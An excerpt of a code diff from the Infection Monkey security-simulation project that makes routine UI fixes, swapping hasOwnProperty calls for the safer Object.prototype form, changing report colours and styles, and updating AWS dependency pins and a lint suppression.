-            <a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank' className={'link-to-technique'}>
-              <FontAwesomeIcon icon={faQuestionCircle}/>
+            <a href={this.state.techniques[tech_id].link} rel="noopener noreferrer" target='_blank'>
+              <FontAwesomeIcon icon={faQuestionCircle} className={'link-to-technique'}
+                               color={AttackReport.getComponentClass(tech_id, this.state.techniques) === 'collapse-default' ? '#ffffff' : '#000000'}/>
             </a>
               <FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/>
           </span>
@@ -79,13 +80,13 @@ class TechniqueDropdowns extends React.Component{
   getOrderedTechniqueList(){
     let content = [];
     for(const type_key in this.state.schema.properties){
-      if (! this.state.schema.properties.hasOwnProperty(type_key)){
+      if (! Object.prototype.hasOwnProperty.call(this.state.schema.properties, type_key)){
         continue;
       }
       let tech_type = this.state.schema.properties[type_key];
       content.push(<h3>{tech_type.title}</h3>);
       for(const tech_id in this.state.techniques){
-        if (! this.state.techniques.hasOwnProperty(tech_id)){
+        if (! Object.prototype.hasOwnProperty.call(this.state.techniques, tech_id)){
           continue;
         }
         let technique = this.state.techniques[tech_id];

monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js

@@ -209,7 +209,7 @@ class VennDiagram extends React.Component {
 
     if (key_ === 'Data') {
       this.layout[key_].fontStyle = this.fontStyles[0];
-    } else if (this.layout[key_].hasOwnProperty('cx')) {
+    } else if (Object.prototype.hasOwnProperty.call(this.layout[key_], 'cx')) {
       this.layout[key_].fontStyle = this.fontStyles[1];
     } else {
       this.layout[key_].fontStyle = this.fontStyles[2];
@@ -229,7 +229,7 @@ class VennDiagram extends React.Component {
       // equivalent to center translate (width/2, height/2)
       let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height;
       let nodes = Object.values(this.layout).map((d_, i_) => {
-        if (d_.hasOwnProperty('cx')) {
+        if (Object.prototype.hasOwnProperty.call(d_, 'cx')) {
           return (
             <CircularNode
               prefix={this.prefix}

monkey/monkey_island/cc/ui/src/components/run-monkey/AwsRunTable.js

@@ -73,7 +73,7 @@ class AwsRunTableComponent extends React.Component {
       let instId = r.original.instance_id;
       if (this.isSelected(instId)) {
         color = '#ffed9f';
-      } else if (this.state.result.hasOwnProperty(instId)) {
+      } else if (Object.prototype.hasOwnProperty.call(this.state.result, instId)) {
         color = this.state.result[instId] ? '#00f01b' : '#f00000'
       }
     }

monkey/monkey_island/cc/ui/src/components/ui-components/Checkbox.js

@@ -19,7 +19,7 @@ class CheckboxComponent extends React.PureComponent {
   */
   constructor(props) {
     super(props);
-    if (this.props.hasOwnProperty('status')){
+    if (Object.prototype.hasOwnProperty.call(this.props, 'status')){
       this.status = this.props.status;
     } else {
       this.status = false

monkey/monkey_island/cc/ui/src/services/AuthService.js

@@ -40,7 +40,7 @@ export default class AuthService {
       })
     }).then(response => response.json())
       .then(res => {
-        if (res.hasOwnProperty('access_token')) {
+        if (Object.prototype.hasOwnProperty.call(res, 'access_token')) {
           this._setToken(res['access_token']);
           return {result: true};
         } else {
@@ -86,7 +86,7 @@ export default class AuthService {
       headers['Authorization'] = 'Bearer ' + this._getToken();
     }
 
-    if (options.hasOwnProperty('headers')) {
+    if (Object.prototype.hasOwnProperty.call(options, 'headers')) {
       for (let header in headers) {
         options['headers'][header] = headers[header];
       }

monkey/monkey_island/cc/ui/src/styles/components/Collapse.scss

@@ -1,9 +1,9 @@
 $transition: 300ms cubic-bezier(0.6, 0.3, 0.3, 0.6);
 
 $danger-color: #ebbcba;
-$disabled-color: #f4f4f4;
+$disabled-color: #f2f2f2;
 $info-color: #ade3eb;
-$default-color: #cbcbcb;
+$default-color: #8c8c8c;
 $warning-color: #ffe28d;
 
 .collapse-item button {
@@ -53,6 +53,7 @@ $warning-color: #ffe28d;
 
 .collapse-default {
   background-color: $default-color !important;
+  color: #ffffff;
 }
 
 .collapse-disabled {

monkey/monkey_island/cc/ui/src/styles/pages/report/ReportAttackMatrix.scss

@@ -1,13 +1,13 @@
 // colors
-$disabled: #f4f4f4;
-$not-attempted: #cbcbcb;
+$disabled: #f2f2f2;
+$not-attempted: #8c8c8c;
 $attempted: #ffe28d;
 $used: #ebbcba;
 $black: #3a3a3a;
 
 .attack-matrix .status-0 {
   background-color: $not-attempted !important;
-  color: $black;
+  color: #ffffff;
 }
 
 .attack-matrix .status-1 {
@@ -23,6 +23,7 @@ $black: #3a3a3a;
 .attack-matrix .status-3 {
   background-color: $disabled !important;
   color: $black;
+  text-decoration: line-through;
 }
 
 .attack-matrix div.rt-td:hover {

monkey/monkey_island/requirements.txt

@@ -2,9 +2,9 @@ Flask-JWT-Extended==3.24.1
 Flask-Pymongo>=2.3.0
 Flask-Restful>=0.3.8
 PyInstaller==3.6
-awscli>=1.18
-boto3>=1.14
-botocore>=1.17.18,<1.18.0
+awscli>=1.18.131
+boto3>=1.14.54
+botocore>=1.17.54,<1.18.0
 cffi>=1.8,!=1.11.3
 dpath>=2.0
 flask>=1.1

monkey/monkey_island/scripts/island_password_hasher.py

@@ -7,7 +7,7 @@ for more details.
 
 import argparse
 
-from Crypto.Hash import SHA3_512
+from Crypto.Hash import SHA3_512  # noqa: DUO133
 
 
 def main():